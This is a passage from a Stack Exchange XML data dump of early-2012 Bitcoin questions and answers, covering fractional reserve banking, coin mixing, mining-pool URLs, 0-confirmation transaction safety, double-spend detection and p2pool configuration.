  <row Id="2817" PostTypeId="2" ParentId="2815" CreationDate="2012-02-01T04:14:43.547" Score="-3" Body="&lt;p&gt;It's somewhere between zero and a hundred million. I don't think anyone can place it any more narrowly than that.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-02-01T04:14:43.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2818" PostTypeId="1" CreationDate="2012-02-01T05:42:58.380" Score="8" ViewCount="1109" Body="&lt;p&gt;There's a massive macroeconomic debate between Keynesians, who want central banks to control the money supply, and Austrians who want no central banks doing any such thing--or at least competing currencies which provide an alternative to central banks which do.  Bitcoin, with its set mining schedule, takes a clear stand against the former and opts for what will in 2033 become a stable/deflationary currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A debate which has not been settled, even among hardcore Austrians, is whether fractional reserve banking is good or bad for economies.  Similar to central banks, fractional reserve banking expands the money supply, but not at the fundamental level.  The effect is often the same, however, and the result is booms and inevitable busts as growing loans and investment cycle with contractions and bank runs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For bitcoin enthusiasts who are skeptical about inflation, fractional reserve banking poses a similar threat.  As long as anyone except you are holding your bitcoins, there's no way to prove that your coins aren't being lent out at any possible reserve ratio.  Gresham's law suggests that 'bad money drives out good', meaning people will first use unsecure, inflationary currencies and hoard better ones.  Since bitcoin aims to be an optimal currency, it should explore avoiding the fate where it is bested by a regime which prevents fractional reserve banking.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is:  Can fractional reserve banking be prohibited, technically, a) through a change the bitcoin client itself; b) in a customer-bank protocol; or c) in another cryptocurrency scheme.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know enough about public key cryptography, but I have an inkling that it would involve limiting return addresses, so for example, I send 10 bitcoins to address A, but those bitcoins can ONLY be sent back to an address I provide, and nowhere else.  Could that kind of scheme be implemented at any level, even just as an option?&lt;/p&gt;&#xA;" OwnerUserId="1008" LastActivityDate="2014-03-15T05:06:36.443" Title="Should fractional reserve banking be prohibited through the bitcoin protocol or otherwise, and how could such a change be implemented?" Tags="|protocol|alternatives|economic-theory|banks|inflation|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2819" PostTypeId="2" ParentId="2818" CreationDate="2012-02-01T06:55:20.587" Score="5" Body="&lt;p&gt;I think there are a few problems with your assumptions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are depositing bitcoins in a bank, you certainly can determine whether the coins are being lent out, if the bank wants to support this feature - it simply assigns a specific address to you, and whatever is in that address is your balance. As long as the coins stay there you know they are not being lent. And you could guarantee that the same address isn't used for multiple people by prefixing it with a hash of your account number using VanityGen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the future, I hope most deposits will not be in the form of giving the bank full control over the coins, but rather with a multi-signature scheme where the bank can't do anything without your consent.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In legacy currency, the reason people put up with fractional reserve is that a balance with a bank is generally more useful than cash, so people prefer a fractionally-backed balance to physical cash. Bitcoins are inherently digital and thus the advantage of depositing them in a bank are minor, so people will only deposit under good terms.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With legacy currency, what you give is what the other party gets. With Bitcoin, generally you can send bitcoins from a bank account while the recipient gets raw bitcoins (possibly the fees will be lower for intra-bank transfers, but fees for raw Bitcoin transfers should be low enough).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A suggestion as in your closing paragraph - an address which can only be spent to a address B - is isomorphic to simply sending to B. The bank will not let you transfer coins if he can't redeem what you deposited, and if address B is compromised you'll still lose your coins. But if you develop the idea a bit, you end up with multi-signature transactions, where spending address A requires both the bank's signature and your own signature.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-02-01T06:55:20.587" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2820" PostTypeId="2" ParentId="52" CreationDate="2012-02-01T07:10:12.597" Score="1" Body="&lt;p&gt;One easy way to anonymize Bitcoins is to use a mixer based on Chaumian blinding (such as &lt;a href=&quot;https://github.com/FellowTraveler/Open-Transactions/wiki&quot; rel=&quot;nofollow&quot;&gt;Open-Transactions&lt;/a&gt;.) This enables fully-untraceable transactions. Then, connect over an anonymous network such as &lt;a href=&quot;http://en.wikipedia.org/wiki/I2P&quot; rel=&quot;nofollow&quot;&gt;I2P&lt;/a&gt; for full-anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a diagram of the concept in action:  &lt;a href=&quot;http://opentransact.nevermeta.com/OT-Anon-CashOnly.jpg&quot; rel=&quot;nofollow&quot;&gt;http://opentransact.nevermeta.com/OT-Anon-CashOnly.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="309" LastActivityDate="2012-02-01T07:10:12.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2821" PostTypeId="2" ParentId="2818" CreationDate="2012-02-01T07:16:05.893" Score="17" Body="&lt;p&gt;No, you can't prevent fractional reserve banking technically. For example, IOUs can circulate just like Bitcoins and there's no technical means to stop it. Essentially, anything worth X Bitcoins (once risk and the like are factored in) can act just like X Bitcoins, even if it's not X Bitcoins. And since it's not Bitcoins, nothing Bitcoins can do can stop it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you foresee some massively powerful central coercive authority that prohibits it, you will always have fractional reserve banking. It just makes too much sense. It will happen absent the use of massive amounts of force.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are trivial technical fixes to the &quot;run on the banks&quot; problem. However, there is still the very real &quot;the bank is a crook&quot; problem and the &quot;the bank goes broke due to fundamentally unsound loans&quot; problem.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-02-01T07:16:05.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2822" PostTypeId="2" ParentId="2794" CreationDate="2012-02-01T10:20:43.973" Score="0" Body="&lt;p&gt;[The site doesn't seem to be accepting my comments tonight, so I'll try this.] I found that loading the last block build was masking the real problem. Starting from a fresh install, with appdata empty, I got the progress bar back. But I see that the client was not just slow, it was making no connections at all. Fixed that by setting the port properly in my router/modem firewall as well as the machine firewall. Now bitcoin-qt tells me that it's up to date. Pasting the previous wallet.dat over the new one shows my received coins address as expected. Yet I still don't see the received coins, even though blockexplorer.com shows them to be in the blockchain. Sorry to be still so dim, but what to do next? As I say, the client has been up to date for a day now, through several restarts of bitcoin-qt.&lt;/p&gt;&#xA;" OwnerUserId="1000" LastActivityDate="2012-02-01T10:20:43.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2823" PostTypeId="2" ParentId="2815" CreationDate="2012-02-01T15:06:10.277" Score="5" Body="&lt;p&gt;&lt;strong&gt;As of today, perhaps 20&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally what makes a &quot;core developer&quot; as opposed to a &quot;contributing developer&quot; is an ongoing interest in the codebase that typically equates to near full-time employment. Should all core developers fall under the wheels of this continent-spanning bus of doom then Bitcoin would suffer a significant blow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then various contributing developers (of which there are legion) would likely step up to act as replacements. The discussions on the forums, IRC channels, mailing lists and version control systems will be read and acted upon. Bugs will be fixed and life will go on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: So where does this number &quot;20&quot; come from? Well it's based largely on my experiences from reading the &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?forum_name=bitcoin-development&quot; rel=&quot;nofollow&quot;&gt;development mailing list&lt;/a&gt;, &lt;a href=&quot;http://webchat.freenode.net/?channels=bitcoin&amp;amp;uio=d4&quot; rel=&quot;nofollow&quot;&gt;IRC logs&lt;/a&gt; and various Google+ circles. There is no real exact number, though, activity varies over time and various people are &quot;core&quot; to a particular issue as it passes through. &lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2012-02-03T12:06:36.407" LastActivityDate="2012-02-03T12:06:36.407" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2824" PostTypeId="2" ParentId="2708" CreationDate="2012-02-01T17:16:56.637" Score="4" Body="&lt;p&gt;Open Transactions can benefit bitcoin but there are trade-offs that rarely get discussed. For example, if Open Transactions provides the anonymous transactions and issuing mint functionality for 'tokenizing' bitcoin private keys, it would be a way for the off-line trusted issuers &lt;a href=&quot;http://bitbills.com&quot; rel=&quot;nofollow&quot;&gt;bitbills.com&lt;/a&gt;, &lt;a href=&quot;http://printcoins.com&quot; rel=&quot;nofollow&quot;&gt;printcoins.com&lt;/a&gt;, and &lt;a href=&quot;http://casascius.com&quot; rel=&quot;nofollow&quot;&gt;casascius.com&lt;/a&gt; to extend their trusted negotiable products back on to the public Internet without accessing the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all, those off-line trusted bitcoin products are 100% anonymous and untraceable just like physical cash but they cannot be put online. I could probably accomplish the same thing by sending a certain-denomination bitcoin private key to a recipient over PGP (or Hushmail), but my signing brand would not be trusted immediately. Open Transactions has an open source way to encapsulate anonymously the details of any transaction/contract/etc. In combining it with bitcoin, you definitely add the full anonymity and untraceability, but the bitbills, printcoins, and casascius people would still have to be trusted (and the mint would have to survive).&lt;/p&gt;&#xA;" OwnerUserId="916" LastActivityDate="2012-02-01T17:16:56.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2826" PostTypeId="2" ParentId="2772" CreationDate="2012-02-01T18:31:34.877" Score="4" Body="&lt;p&gt;My favorite part of OT is how the &lt;a href=&quot;http://agoristradio.com/wp-content/uploads/2011/05/tiki-download_file.php_.jpeg&quot; rel=&quot;nofollow&quot;&gt;decentralized architecture&lt;/a&gt;(*) prevents double-spends, even when the OTServer itself (i.e., the bank) isn't trusted. The way this works is that clients don't connect directly to the OTServer, but rather use a public &lt;a href=&quot;http://en.wikipedia.org/wiki/Distributed_hash_table&quot; rel=&quot;nofollow&quot;&gt;Distributed Hash Table (DHT)&lt;/a&gt; (such as Freenet or Tahoe-LAFS) as a middle layer. This means any attempt at a double-spend would be detected, evidence would be preserved, and the OT server could be held accountable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's suppose Debbie Doublespend has 1 &quot;clam&quot; (an arbitrary OT currency token) on DebServer, an OT Server that colludes with her. Her goal is to fraudulently purchase two T-Shirts (worth 1 &quot;clam&quot; each), one from Alice, and one from Bob. Since there's only 1 &quot;clam&quot;, DebServer has to trick both victims into thinking they received the same coin. So, the server signs two conflicting transactions, &quot;D-&gt;A&quot; and &quot;D-&gt;B.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without the DHT layer, Alice connects directly to DebServer and sees &quot;D-&gt;A&quot; while Bob connects to DebServer and sees &quot;D-&gt;B&quot;. They both ship T-Shirts, so Debbie's plan succeeds. Eventually Alice and Bob go to spend their &quot;clams&quot;, but clearly one of them will be unable to do so. The server would likely feign network problems or &quot;play dead&quot; rather than admit it double-spent. Unless Bob and Alice get in contact with each other and combine their receipts, they'd have a difficult time proving the server cheated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the public DHT in place, the two conflicting transactions would be preserved and propagated. Signed copies of &quot;D-&gt;A&quot; and &quot;D-&gt;B&quot; are prima-facie evidence of DebServer's involvement in a double-spend. Alice and Bob shouldn't trust an OTServer unless A) it has something to lose (i.e., an insurance policy against double-spends) and B) they use a DHT layer so receipts/evidence are preserved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) this diagram is from vouchersafe, which has the same architecture as OT &lt;/p&gt;&#xA;" OwnerUserId="1010" LastActivityDate="2012-02-01T18:31:34.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2827" PostTypeId="2" ParentId="256" CreationDate="2012-02-01T21:49:24.247" Score="2" Body="&lt;p&gt;The most likely scenario in which a government would adopt Bitcoin is when their own currency is undergoing hyperinflation. As Gareth's answer points out, there would be no way to transfer the value of the old currency into Bitcoins. But if the currency had essentially no value anyway, it would not have to make that transition. In economies suffering hyperinflation, citizens typically switch to other currencies before their governments. Once the citizens have reached consensus that the old currency is worthless and privately switched to Bitcoins themselves, the government just has to agree to accept Bitcoins as payment, and the transition is complete.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-02-01T21:49:24.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2828" PostTypeId="1" AcceptedAnswerId="2849" CreationDate="2012-02-02T00:18:51.930" Score="27" ViewCount="7946" Body="&lt;p&gt;Bitcoin addresses can be generated at will, and the theoretical limit to their number is high.  Addresses are constantly being generated to receive funds or balance transactions, but they are also being emptied. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How many addresses are carrying a balance at the moment, and how has this number developed historically?&lt;/strong&gt; Would this number be a good proxy for the Bitcoin adoption rate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also be interested in the number of addresses that have been part of transactions during the last x days (i.e. active addresses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain contains all necessary data to derive the numbers, so maybe there's even a site that lists/graphs them? &lt;/p&gt;&#xA;" OwnerUserId="590" LastEditorUserId="590" LastEditDate="2012-02-02T00:25:15.600" LastActivityDate="2015-07-09T18:48:44.507" Title="How many Bitcoin addresses are/have been carrying a balance?" Tags="|transactions|blockchain|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2829" PostTypeId="1" AcceptedAnswerId="3322" CreationDate="2012-02-02T03:15:06.837" Score="2" ViewCount="365" Body="&lt;p&gt;I've recently been experimenting with implementing a pool and testing it against GUIminer. To my surprise, it was not able to handle paths in URL of the pool, only subdomains. For example, calling:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://tpbitpool.appspot.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on port 80 gives a proper response of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{'message': 'Method not found', 'code': -32601, 'data': 'The called method was not found on the server'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But calling&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://tpbitpool.appspot.com/anything&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or even&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://tpbitpool.appspot.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Despite being able to be handled by the server, gives an error of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Problems communicating with bitcoin RPC&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Testing the same URLs with Python's jsonrpc gives correct results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reason why a miner would behave in this way? Is there a list of mining software that behave similarly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(note, the above URL should be up for some time for testing purposes, but reachable only via http and https ports)&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:18:30.113" LastActivityDate="2016-03-31T10:18:30.113" Title="Which Bitcoin miners allow one to use paths in URLs?" Tags="|mining-pools|json-rpc|server|mining-software|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2830" PostTypeId="2" ParentId="256" CreationDate="2012-02-02T04:58:25.753" Score="0" Body="&lt;p&gt;I think the best countries suitable to adopt Bitcoin are the ones who are suffering from Hyper inflation (ie the government is inflating the money supply to offset bad economics or policies).  adoption would be informal, and would grow with grass roots much like those countries now adopt the USD as a safe haven.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result would be cartelistic, like the invention of the wheel or the printing press or radio.  All financial interest in governing will be eroded, and true democracy for the people will emerge, like in the early Union of States, there will be no fiscal power in Politics.  There will be a lack of government funding, so the IMF and World Bank will lose their foot hold in reforming the country in there model, and a new more sustainable era will emerge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Provided the adopting country had something to export that the international Bitcoin community wanted, the growth will spread and far sparse that of China on steroids. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The government that will evolve won't be centrally planned, the era of many to 1 and 1 to many communication will fade, it will be P2P many to many communication.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Rick Falkvinge sees a future where there is a central governments providing social assistance, and people are liberated from involuntary tax and gain economic freedom, (http://bitcoinmedia.com/eurobit-rick-falkvinge-banks-the-fourth-victim-of-citizens-empowerment/ ) I mostly agree with his vision of change, but I think Bitcoin is a more radical technology. It will bring in a new kind of governance, that is not suitable for a centrally controlled monopoly. I see a new more just and equitable world (a type 1 civilization emerging). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for that fundamental reason we now have a technology so powerful it will change the way we live, in just 10 years from now it will start. I don't want to suggest ways to change it to fit with our current political hierarchy, but use it as a disruptive technology and pave the way.  &lt;/p&gt;&#xA;" OwnerUserId="1015" LastActivityDate="2012-02-02T04:58:25.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2831" PostTypeId="1" AcceptedAnswerId="2832" CreationDate="2012-02-02T05:16:10.933" Score="8" ViewCount="202" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=62137.0&quot;&gt;This thread&lt;/a&gt; proposes a method for miners to promise &quot;that their next block/s will contain a specific transaction&quot;, and/or that &quot;they won't mine a conflicting transaction&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If adopted by a large percentage of miners, this method is supposed to enable &quot;relatively safe&quot; 0-confirmation transactions (well, safer than today at least).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If wildly adopted, could this work?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="2306" LastEditDate="2016-03-10T16:12:29.230" LastActivityDate="2016-03-10T16:12:29.230" Title="Is the proposed &quot;Miner Promise&quot; method of accepting 0-confirmation transactions safe?" Tags="|transactions|mining-pools|confirmations|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2832" PostTypeId="2" ParentId="2831" CreationDate="2012-02-02T05:29:36.737" Score="3" Body="&lt;p&gt;This could work in most situations, as long as the pool is trustworthy. However, the whole notion of &quot;relatively safe&quot; 0-confirmation transactions can still be risky if there are any miners that want to be malicious. For example, if one was to accept such transactions, and someone wanting to exploit their trust by double spending and trying to mine their own block with only the second transaction. Even if 99% of the pools would confirm the transaction, the one that wouldn't could cause a lot of problems if exploited by malicious party. Combating such a rogue pool would also be hard if one wants to avoid forks in the blockchain (for example, by rejecting blocks without a given transactions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, this approach offers slightly more security, if widely adopted it can work as intended, but it is not 100% attack-proof.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-02-02T05:29:36.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2833" PostTypeId="2" ParentId="2831" CreationDate="2012-02-02T10:13:06.620" Score="6" Body="&lt;p&gt;I don't think it helps much. The biggest real threat is the Finney attack, and the Finney attack is just as big a threat even with such a promise.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-02-02T10:13:06.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2834" PostTypeId="1" AcceptedAnswerId="2835" CreationDate="2012-02-02T10:52:27.220" Score="13" ViewCount="38984" Body="&lt;p&gt;This complements &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/305/what-are-the-perceived-advantages-of-bitcoin-as-a-means-of-exchange&quot;&gt;What are the perceived advantages of bitcoin as a means of exchange&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To some, Bitcoin today is considered &quot;better&quot; than other stores of value. Why do some people think it's a good store of value, or even investment?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-10-03T11:32:45.790" Title="What are the perceived advantages of bitcoin as a store of value?" Tags="|investing|key-selling-points|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2835" PostTypeId="2" ParentId="2834" CreationDate="2012-02-02T11:23:33.893" Score="17" Body="&lt;p&gt;Bitcoin has several advantages over other means as a store of value.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;They take no space. This means that you can store them in a USB as well as a backups online for example in an email. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You do not need to pay anything for storing the Bitcoins. There is no need to pay for a secure bank account since they can be stored online or in USB or even in your brain if you use a deterministic wallet. In this case you only need to remember the passwords.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This also means that you can bring them to any country easily without paying any fees.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They are easy to hide. Nobody will know how much you store or how to get them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This will make them impossible to steal. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your funds cannot be seized by any bank or government.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The downside is the fluctuation in value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if Bitcoins are here to stay they will increase in value over the years, &#xA;perhaps outperforming many other assets. &#xA;There is also a small risk that they might get replaced by a more efficient cryptocurrency though; so far several have tried but none have succeeded. &lt;/p&gt;&#xA;" OwnerUserId="1016" LastEditorUserId="-1" LastEditDate="2013-04-08T16:19:25.307" LastActivityDate="2013-04-08T16:19:25.307" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2836" PostTypeId="2" ParentId="1784" CreationDate="2012-02-02T12:00:45.493" Score="1" Body="&lt;p&gt;Yes, it was by design.  The old behaviour was accidental and was &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/465&quot; rel=&quot;nofollow&quot;&gt;causing a crash&lt;/a&gt; in some situations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the full details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In version 0.3.24, the 'from' parameter was simply passed into std::advance() to skip the required number of transactions.  If the value given was bigger than the number of available transactions, it would wrap around, due to how std::advance() works.  I'm not clear on whether advance() is defined to work like that, or if it's dependent on the particular implementation in the library your version was linked against.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, in version 0.4, the advance() function call was made conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (txByTime.size() &amp;gt; nFrom) std::advance(it, nFrom);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;meaning to only skip some transactions if the number of transactions available is greater than the number you're trying to skip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The change was made by Gavin Andresen on August 12, 2011 in response to a &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/465&quot; rel=&quot;nofollow&quot;&gt;bug report&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-02-11T08:29:56.523" LastActivityDate="2012-02-11T08:29:56.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2837" PostTypeId="2" ParentId="2763" CreationDate="2012-02-02T12:13:44.793" Score="1" Body="&lt;p&gt;When you run p2pool, you can provide extra flags to tell it where to find the bitcoind to connect to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind interface:&#xA;  --bitcoind-address BITCOIND_ADDRESS   : connect to this address (default: 127.0.0.1)&#xA;  --bitcoind-rpc-port BITCOIND_RPC_PORT : connect to JSON-RPC interface at this port (default: 8332)&#xA;  --bitcoind-p2p-port BITCOIND_P2P_PORT : connect to P2P interface at this port (default: 8333)&#xA;  BITCOIND_RPCUSERPASS                  : bitcoind RPC interface username, then password, space-separated&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="441" LastEditDate="2012-02-02T18:41:03.147" LastActivityDate="2012-02-02T18:41:03.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2838" PostTypeId="2" ParentId="2815" CreationDate="2012-02-02T22:53:34.740" Score="2" Body="&lt;p&gt;Eleven.  The answer is definitely eleven.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-02-02T22:53:34.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2839" PostTypeId="2" ParentId="2828" CreationDate="2012-02-02T23:10:08.427" Score="1" Body="&lt;p&gt;at the 28c3 conference, &quot;bitcoin - an analysis&quot; shows some data related to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://events.ccc.de/congress/2011/Fahrplan/events/4746.en.html&quot; rel=&quot;nofollow&quot;&gt;http://events.ccc.de/congress/2011/Fahrplan/events/4746.en.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://media.ccc.de/browse/congress/2011/28c3-4746-en-bitcoin_an_analysis.html&quot; rel=&quot;nofollow&quot;&gt;http://media.ccc.de/browse/congress/2011/28c3-4746-en-bitcoin_an_analysis.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2012-02-02T23:10:08.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2840" PostTypeId="2" ParentId="2802" CreationDate="2012-02-03T01:37:24.067" Score="5" Body="&lt;p&gt;Almost all nodes on the network will not relay multisignature transactions because they are not &quot;standard,&quot; and almost all miners will not include them in the blocks that they create (for the same reason).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The notion of a &quot;standard&quot; transaction was implemented after Bitcoin started getting popular and had to deal with various denial-of-service attacks that involved creating and transmitting large or expensive-to-validate transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP 11, which is currently (Feb 2012) in the process of being deployed, adds up-to-3-signatures-required transactions to the other two &quot;standard&quot; transaction types.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-02-03T01:37:24.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2841" PostTypeId="2" ParentId="2724" CreationDate="2012-02-03T02:54:29.850" Score="0" Body="&lt;p&gt;The My Wallet service from &lt;a href=&quot;http://BlockChain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;http://BlockChain.info/wallet&lt;/a&gt; lets you create paper wallets and then you can remove the private keys from the browser-based wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another service that might be of use is: &lt;a href=&quot;http://bitping.net&quot; rel=&quot;nofollow&quot;&gt;http://bitping.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-02-03T02:54:29.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2842" PostTypeId="2" ParentId="1899" CreationDate="2012-02-03T13:14:24.080" Score="0" Body="&lt;p&gt;I don't see why (In theory) a bank couldn't issue a loan in bitcoins just like they do in Dollars, Euros or Pounds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I wish to borrow 100 Bit coins, I go to a BitCoin Bank and ask for a loan, they check  me for credit risk and assuming that everything is ok they give me the money. I pay it back over some period of time with interest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the flip side if I have savings of 100 bitcoin I can deposit it with the bank, they keep some chunk as a reserve and loan out the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as most of the depositors don't want their money back at the same time the whole thing works just fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that with BitCoin there is no central bank which can provide cash for short term liquidity like with most currencies. &lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2012-02-03T13:14:24.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2843" PostTypeId="2" ParentId="1899" CreationDate="2012-02-03T19:21:56.300" Score="-1" Body="&lt;p&gt;Bitcoin is peer-to-peer decentralized cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to talk about peer-to-peer decentralized credit, check out Ripple. &lt;a href=&quot;http://ripple-project.org/&quot; rel=&quot;nofollow&quot;&gt;http://ripple-project.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peer lending has many differences compared to bank lending. There are often social and emotional relationships between the peers, and this has a strong impact on the underlying incentives. Friends and family are likely to make loans to each other with little or no interest. But then again, they're also likely to ask &quot;well what are you going to use it for?&quot; If you can't pay back a bank, you simply 'go bankrupt' and they can't touch you. If you don't pay back your friends, it's possible they'll hate you forever, or beat you up (illegally, of course, since that would be assault). So the cold professionalism of bank lending can swing both ways. But peer-to-peer lending is an alternative, and it's more viable than most people think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some very good blog posts about peer-to-peer credit and related topics like reputation systems here:&#xA;&lt;a href=&quot;http://www.webisteme.com/blog/&quot; rel=&quot;nofollow&quot;&gt;http://www.webisteme.com/blog/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;#bitcoin-otc ( &lt;a href=&quot;http://bitcoin-otc.com&quot; 